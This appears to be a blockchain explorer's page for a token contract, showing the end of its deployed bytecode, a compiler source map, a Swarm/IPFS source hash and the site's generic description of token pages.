50506103c1565b60ff84111561104657611046611122565b6001841b91508482111561105c5761105c611122565b506103c1565b5060208310610133831016604e8410600b8410161715611095575081810a8381111561109057611090611122565b6103c1565b6110a28484846001610fa6565b8086048211156110b4576110b4611122565b02949350505050565b60008160001904831182151516156110d7576110d7611122565b500290565b6000828210156110ee576110ee611122565b500390565b600060001982141561110757611107611122565b5060010190565b60008261111d5761111d611138565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fdfea2646970667358221220a2e107751360bf6e1401e547af0209c7dc81460f460d4da92b5a3ee7942b21ad64736f6c63430008000033

Deployed Bytecode Sourcemap

3003:6002:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3485:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4832:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;7365:193::-;;;;;;;;;;-1:-1:-1;7365:193:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;3792:41::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;5207:108::-;;;;;;;;;;;;;:::i;5957:353::-;;;;;;;;;;-1:-1:-1;5957:353:0;;;;;:::i;:::-;;:::i;5018:83::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;5109:90::-;;;;;;;;;;;;;:::i;5323:177::-;;;;;;;;;;-1:-1:-1;5323:177:0;;;;;:::i;:::-;;:::i;2077:87::-;;;;;;;;;;;;;:::i;4923:::-;;;;;;;;;;;;;:::i;8426:444::-;;;;;;;;;;-1:-1:-1;8426:444:0;;;;;:::i;:::-;;:::i;:::-;;5717:232;;;;;;;;;;-1:-1:-1;5717:232:0;;;;;:::i;:::-;;:::i;8878:87::-;;;;;;;;;;;;;:::i;5508:201::-;;;;;;;;;;-1:-1:-1;5508:201:0;;;;;:::i;:::-;;:::i;3520:29::-;;;;;;;;;;;;;:::i;3485:28::-;;;;:::o;4832:83::-;4902:5;;;;;;;;;;;;-1:-1:-1;;;4902:5:0;;;;4832:83;:::o;7365:193::-;7467:4;7489:39;7498:12;:10;:12::i;:::-;7512:7;7521:6;7489:8;:39::i;:::-;-1:-1:-1;7546:4:0;7365:193;;;;;:::o;3792:41::-;;;-1:-1:-1;;;;;3792:41:0;;:::o;5207:108::-;5268:7;3352:13;3290:2;3352;:13;:::i;:::-;3339:26;;:10;:26;:::i;:::-;5288:19;;5207:108;:::o;5957:353::-;6089:4;6106:36;6116:6;6124:9;6135:6;6106:9;:36::i;:::-;6153:127;6176:6;6197:12;:10;:12::i;:::-;-1:-1:-1;;;;;6224:19:0;;;;;;:11;:19;;;;;:45;;6262:6;;6224:19;6244:12;:10;:12::i;:::-;-1:-1:-1;;;;;6224:33:0;;;;;;;;;;;;-1:-1:-1;6224:33:0;;;:37;:45::i;:::-;6153:8;:127::i;:::-;-1:-1:-1;6298:4:0;5957:353;;;;;;:::o;5018:83::-;3290:2;5018:83;:::o;5109:90::-;5180:11;;;;5109:90;:::o;5323:177::-;-1:-1:-1;;;;;5474:18:0;;5442:7;5474:18;;;:9;:18;;;;;;5323:177;;;;:::o;2077:87::-;2123:7;2150:6;-1:-1:-1;;;;;2150:6:0;2077:87;:::o;4923:::-;4995:7;;;;;;;;;;;;-1:-1:-1;;;4995:7:0;;;;4923:87;:::o;8426:444::-;8554:7;:5;:7::i;:::-;-1:-1:-1;;;;;8538:23:0;:12;:10;:12::i;:::-;-1:-1:-1;;;;;8538:23:0;;8530:32;;;;;;8580:9;8575:288;8595:13;;;8575:288;;;8648:48;8680:15;3290:2;8680;:15;:::i;:::-;8668:6;;8675:1;8668:9;;;;;-1:-1:-1;;;8668:9:0;;;;;;;;;;;;;;;:27;;;;:::i;:::-;-1:-1:-1;;;;;8648:15:0;;;;;;:9;:15;;;;;;;:19;:48::i;:::-;-1:-1:-1;;;;;8630:15:0;;;;;;:9;:15;;;;;:66;8730:50;8764:15;3290:2;8764;:15;:::i;:::-;8751:6;;8758:1;8751:9;;;;;-1:-1:-1;;;8751:9:0;;;;;;;;;;;;;;;:28;;;;:::i;:::-;8730:9;:16;8740:2;;8743:1;8740:5;;;;;-1:-1:-1;;;8740:5:0;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;8730:16:0;;;;;;;;;;;;-1:-1:-1;8730:16:0;;;:20;:50::i;:::-;8711:9;:16;8721:2;;8724:1;8721:5;;;;;-1:-1:-1;;;8721:5:0;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;8711:16:0;;;;;;;;;;;;-1:-1:-1;8711:16:0;:69;8815:2;;8818:1;8815:5;;;;;-1:-1:-1;;;8815:5:0;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;8800:51:0;8809:4;-1:-1:-1;;;;;8800:51:0;;3290:2;8835;:15;;;;:::i;:::-;8822:6;;8829:1;8822:9;;;;;-1:-1:-1;;;8822:9:0;;;;;;;;;;;;;;;:28;;;;:::i;:::-;8800:51;;;;;;:::i;:::-;;;;;;;;8610:3;;;;:::i;:::-;;;;8575:288;;;;8426:444;;;;;:::o;5717:232::-;5831:4;5853:13;5869:12;:10;:12::i;:::-;5853:28;;5892:27;5902:5;5909:2;5913:5;5892:9;:27::i;8878:87::-;2036:13;:11;:13::i;:::-;8946:11:::1;::::0;;-1:-1:-1;;8931:26:0;::::1;8946:11;::::0;;::::1;8945:12;8931:26;::::0;;8878:87::o;5508:201::-;-1:-1:-1;;;;;5674:18:0;;;5642:7;5674:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5508:201::o;3520:29::-;;;;:::o;2311:202::-;2369:9;2395:6;2391:47;;-1:-1:-1;2425:1:0;2418:8;;2391:47;2452:5;2456:1;2452;:5;:::i;:::-;2448:9;-1:-1:-1;2484:1:0;2475:5;2479:1;2448:9;2475:5;:::i;:::-;:10;2468:18;;-1:-1:-1;;;2468:18:0;;;;;;;;2521:189;2579:7;2610:1;2606;:5;2599:13;;-1:-1:-1;;;2599:13:0;;;;;;;;;2623:9;2635:5;2639:1;2635;:5;:::i;:::-;2623:17;-1:-1:-1;2672:5:0;2676:1;2672;:5;:::i;:::-;2663;2667:1;2663;:5;:::i;:::-;:15;;;;:::i;:::-;2658:1;:20;2651:28;;-1:-1:-1;;;2651:28:0;;;;;;;;;2697:5;2701:1;2697;:5;:::i;:::-;2690:12;2521:189;-1:-1:-1;;;;2521:189:0:o;2849:147::-;2907:7;;2939:5;2943:1;2939;:5;:::i;:::-;2927:17;;2967:1;2962;:6;;2955:14;;-1:-1:-1;;;2955:14:0;;;;;;;;1762:98;1842:10;1762:98;:::o;7566:369::-;-1:-1:-1;;;;;7693:19:0;;7685:68;;;;-1:-1:-1;;;7685:68:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;7772:21:0;;7764:68;;;;-1:-1:-1;;;7764:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7843:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;7895:32;;;;;7873:6;;7895:32;:::i;:::-;;;;;;;;7566:369;;;:::o;6318:1039::-;-1:-1:-1;;;;;6407:18:0;;6399:68;;;;-1:-1:-1;;;6399:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6486:16:0;;6478:64;;;;-1:-1:-1;;;6478:64:0;;;;;;;:::i;:::-;6580:6;6561:15;6571:4;6561:9;:15::i;:::-;:25;;6553:76;;;;-1:-1:-1;;;6553:76:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6678:22:0;;6640:17;6678:22;;;:16;:22;;;;;;;;6677:23;:48;;;;-1:-1:-1;;;;;;6705:20:0;;;;;;:16;:20;;;;;;;;6704:21;6677:48;6674:330;;;6750:11;;;;6742:53;;;;-1:-1:-1;;;6742:53:0;;;;;;;:::i;:::-;6843:3;6831:9;;6822:6;:18;;;;:::i;:::-;:24;;;;:::i;:::-;6870:13;;6810:36;;-1:-1:-1;;;;;;6864:19:0;;;6870:13;;6864:19;6861:132;;;6938:3;6925:10;;6916:6;:19;;;;:::i;:::-;:25;;;;:::i;:::-;6904:37;;6960:17;6972:4;6960:11;:17::i;:::-;7019:13;;7016:164;;7092:4;7074:24;;;;:9;:24;;;;;;:34;;7099:9;;7074:34;:::i;:::-;7067:4;7049:24;;;;:9;:24;;;;;;;:59;;;;7128:40;;-1:-1:-1;;;;;7128:40:0;;;;;;;7158:9;;7128:40;:::i;:::-;;;;;;;;7016:164;7227:6;7209:15;7219:4;7209:9;:15::i;:::-;:24;;;;:::i;:::-;-1:-1:-1;;;;;7192:15:0;;;;;;:9;:15;;;;;:41;7276:18;7285:9;7276:6;:18;:::i;:::-;-1:-1:-1;;;;;7259:13:0;;;;;;:9;:13;;;;;;:36;;;;:::i;:::-;-1:-1:-1;;;;;7245:13:0;;;;;;;:9;:13;;;;;:50;;;;7311:38;;;7330:18;7339:9;7330:6;:18;:::i;:::-;7311:38;;;;;;:::i;:::-;;;;;;;;6318:1039;;;;:::o;2718:123::-;2776:7;2808:1;2803;:6;;2796:14;;-1:-1:-1;;;2796:14:0;;;;;;;;;2828:5;2832:1;2828;:5;:::i;2172:108::-;2246:12;:10;:12::i;:::-;2236:6;;-1:-1:-1;;;;;2236:6:0;;;:22;;;2228:44;;;;-1:-1:-1;;;2228:44:0;;;;;;;:::i;:::-;2172:108::o;8030:255::-;8107:1;8091:13;8101:2;8091:9;:13::i;:::-;:17;8088:189;;;8130:11;;;;8125:141;;8162:25;8173:13;;8162:10;:25::i;:::-;8125:141;;;8228:22;8239:10;;8228;:22::i;:::-;8030:255;:::o;8293:125::-;8370:4;8356:11;:18;8352:59;;;8391:8;;;14:175:1;84:20;;-1:-1:-1;;;;;133:31:1;;123:42;;113:2;;179:1;176;169:12;194:404;;;327:3;320:4;312:6;308:17;304:27;294:2;;352:8;342;335:26;294:2;-1:-1:-1;382:20:1;;425:18;414:30;;411:2;;;464:8;454;447:26;411:2;508:4;500:6;496:17;484:29;;571:3;564:4;556;548:6;544:17;536:6;532:30;528:41;525:50;522:2;;;588:1;585;578:12;522:2;284:314;;;;;:::o;603:198::-;;715:2;703:9;694:7;690:23;686:32;683:2;;;736:6;728;721:22;683:2;764:31;785:9;764:31;:::i;806:274::-;;;935:2;923:9;914:7;910:23;906:32;903:2;;;956:6;948;941:22;903:2;984:31;1005:9;984:31;:::i;:::-;974:41;;1034:40;1070:2;1059:9;1055:18;1034:40;:::i;:::-;1024:50;;893:187;;;;;:::o;1085:342::-;;;;1231:2;1219:9;1210:7;1206:23;1202:32;1199:2;;;1252:6;1244;1237:22;1199:2;1280:31;1301:9;1280:31;:::i;:::-;1270:41;;1330:40;1366:2;1355:9;1351:18;1330:40;:::i;:::-;1320:50;;1417:2;1406:9;1402:18;1389:32;1379:42;;1189:238;;;;;:::o;1432:891::-;;;;;;1648:2;1636:9;1627:7;1623:23;1619:32;1616:2;;;1669:6;1661;1654:22;1616:2;1697:31;1718:9;1697:31;:::i;:::-;1687:41;;1779:2;1768:9;1764:18;1751:32;1802:18;1843:2;1835:6;1832:14;1829:2;;;1864:6;1856;1849:22;1829:2;1908:76;1976:7;1967:6;1956:9;1952:22;1908:76;:::i;:::-;2003:8;;-1:-1:-1;1882:102:1;-1:-1:-1;2091:2:1;2076:18;;2063:32;;-1:-1:-1;2107:16:1;;;2104:2;;;2141:6;2133;2126:22;2104:2;;2185:78;2255:7;2244:8;2233:9;2229:24;2185:78;:::i;:::-;1606:717;;;;-1:-1:-1;1606:717:1;;-1:-1:-1;2282:8:1;;2159:104;1606:717;-1:-1:-1;;;1606:717:1:o;2328:266::-;;;2457:2;2445:9;2436:7;2432:23;2428:32;2425:2;;;2478:6;2470;2463:22;2425:2;2506:31;2527:9;2506:31;:::i;:::-;2496:41;2584:2;2569:18;;;;2556:32;;-1:-1:-1;;;2415:179:1:o;2599:203::-;-1:-1:-1;;;;;2763:32:1;;;;2745:51;;2733:2;2718:18;;2700:102::o;2807:187::-;2972:14;;2965:22;2947:41;;2935:2;2920:18;;2902:92::o;3233:603::-;;3374:2;3403;3392:9;3385:21;3435:6;3429:13;3478:6;3473:2;3462:9;3458:18;3451:34;3503:4;3516:140;3530:6;3527:1;3524:13;3516:140;;;3625:14;;;3621:23;;3615:30;3591:17;;;3610:2;3587:26;3580:66;3545:10;;3516:140;;;3674:6;3671:1;3668:13;3665:2;;;3744:4;3739:2;3730:6;3719:9;3715:22;3711:31;3704:45;3665:2;-1:-1:-1;3820:2:1;3799:15;-1:-1:-1;;3795:29:1;3780:45;;;;3827:2;3776:54;;3354:482;-1:-1:-1;;;3354:482:1:o;3841:399::-;4043:2;4025:21;;;4082:2;4062:18;;;4055:30;4121:34;4116:2;4101:18;;4094:62;-1:-1:-1;;;4187:2:1;4172:18;;4165:33;4230:3;4215:19;;4015:225::o;4245:398::-;4447:2;4429:21;;;4486:2;4466:18;;;4459:30;4525:34;4520:2;4505:18;;4498:62;-1:-1:-1;;;4591:2:1;4576:18;;4569:32;4633:3;4618:19;;4419:224::o;4648:402::-;4850:2;4832:21;;;4889:2;4869:18;;;4862:30;4928:34;4923:2;4908:18;;4901:62;-1:-1:-1;;;4994:2:1;4979:18;;4972:36;5040:3;5025:19;;4822:228::o;5055:353::-;5257:2;5239:21;;;5296:2;5276:18;;;5269:30;5335:31;5330:2;5315:18;;5308:59;5399:2;5384:18;;5229:179::o;5413:401::-;5615:2;5597:21;;;5654:2;5634:18;;;5627:30;5693:34;5688:2;5673:18;;5666:62;-1:-1:-1;;;5759:2:1;5744:18;;5737:35;5804:3;5789:19;;5587:227::o;5819:332::-;6021:2;6003:21;;;6060:1;6040:18;;;6033:29;-1:-1:-1;;;6093:2:1;6078:18;;6071:39;6142:2;6127:18;;5993:158::o;6156:400::-;6358:2;6340:21;;;6397:2;6377:18;;;6370:30;6436:34;6431:2;6416:18;;6409:62;-1:-1:-1;;;6502:2:1;6487:18;;6480:34;6546:3;6531:19;;6330:226::o;6561:177::-;6707:25;;;6695:2;6680:18;;6662:76::o;6743:184::-;6915:4;6903:17;;;;6885:36;;6873:2;6858:18;;6840:87::o;6932:128::-;;7003:1;6999:6;6996:1;6993:13;6990:2;;;7009:18;;:::i;:::-;-1:-1:-1;7045:9:1;;6980:80::o;7065:120::-;;7131:1;7121:2;;7136:18;;:::i;:::-;-1:-1:-1;7170:9:1;;7111:74::o;7190:453::-;7286:6;7309:5;7323:314;7372:1;7409:2;7399:8;7396:16;7386:2;;7416:5;;;7386:2;7457:4;7452:3;7448:14;7442:4;7439:24;7436:2;;;7466:18;;:::i;:::-;7516:2;7506:8;7502:17;7499:2;;;7531:16;;;;7499:2;7610:17;;;;;7570:15;;7323:314;;;7267:376;;;;;;;:::o;7648:148::-;;7735:55;-1:-1:-1;;7776:4:1;7762:19;;7756:4;7801:922;7885:8;7875:2;;-1:-1:-1;7926:1:1;7940:5;;7875:2;7974:4;7964:2;;-1:-1:-1;8011:1:1;8025:5;;7964:2;8056:4;8074:1;8069:59;;;;8142:1;8137:183;;;;8049:271;;8069:59;8099:1;8090:10;;8113:5;;;8137:183;8174:3;8164:8;8161:17;8158:2;;;8181:18;;:::i;:::-;8237:1;8227:8;8223:16;8214:25;;8265:3;8258:5;8255:14;8252:2;;;8272:18;;:::i;:::-;8305:5;;;8049:271;;8404:2;8394:8;8391:16;8385:3;8379:4;8376:13;8372:36;8366:2;8356:8;8353:16;8348:2;8342:4;8339:12;8335:35;8332:77;8329:2;;;-1:-1:-1;8441:19:1;;;8476:14;;;8473:2;;;8493:18;;:::i;:::-;8526:5;;8329:2;8573:42;8611:3;8601:8;8595:4;8592:1;8573:42;:::i;:::-;8648:6;8643:3;8639:16;8630:7;8627:29;8624:2;;;8659:18;;:::i;:::-;8697:20;;7865:858;-1:-1:-1;;;;7865:858:1:o;8728:168::-;;8834:1;8830;8826:6;8822:14;8819:1;8816:21;8811:1;8804:9;8797:17;8793:45;8790:2;;;8841:18;;:::i;:::-;-1:-1:-1;8881:9:1;;8780:116::o;8901:125::-;;8969:1;8966;8963:8;8960:2;;;8974:18;;:::i;:::-;-1:-1:-1;9011:9:1;;8950:76::o;9031:135::-;;-1:-1:-1;;9091:17:1;;9088:2;;;9111:18;;:::i;:::-;-1:-1:-1;9158:1:1;9147:13;;9078:88::o;9171:112::-;;9229:1;9219:2;;9234:18;;:::i;:::-;-1:-1:-1;9268:9:1;;9209:74::o;9288:127::-;9349:10;9344:3;9340:20;9337:1;9330:31;9380:4;9377:1;9370:15;9404:4;9401:1;9394:15;9420:127;9481:10;9476:3;9472:20;9469:1;9462:31;9512:4;9509:1;9502:15;9536:4;9533:1;9526:15

Swarm Source

ipfs://a2e107751360bf6e1401e547af0209c7dc81460f460d4da92b5a3ee7942b21ad
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.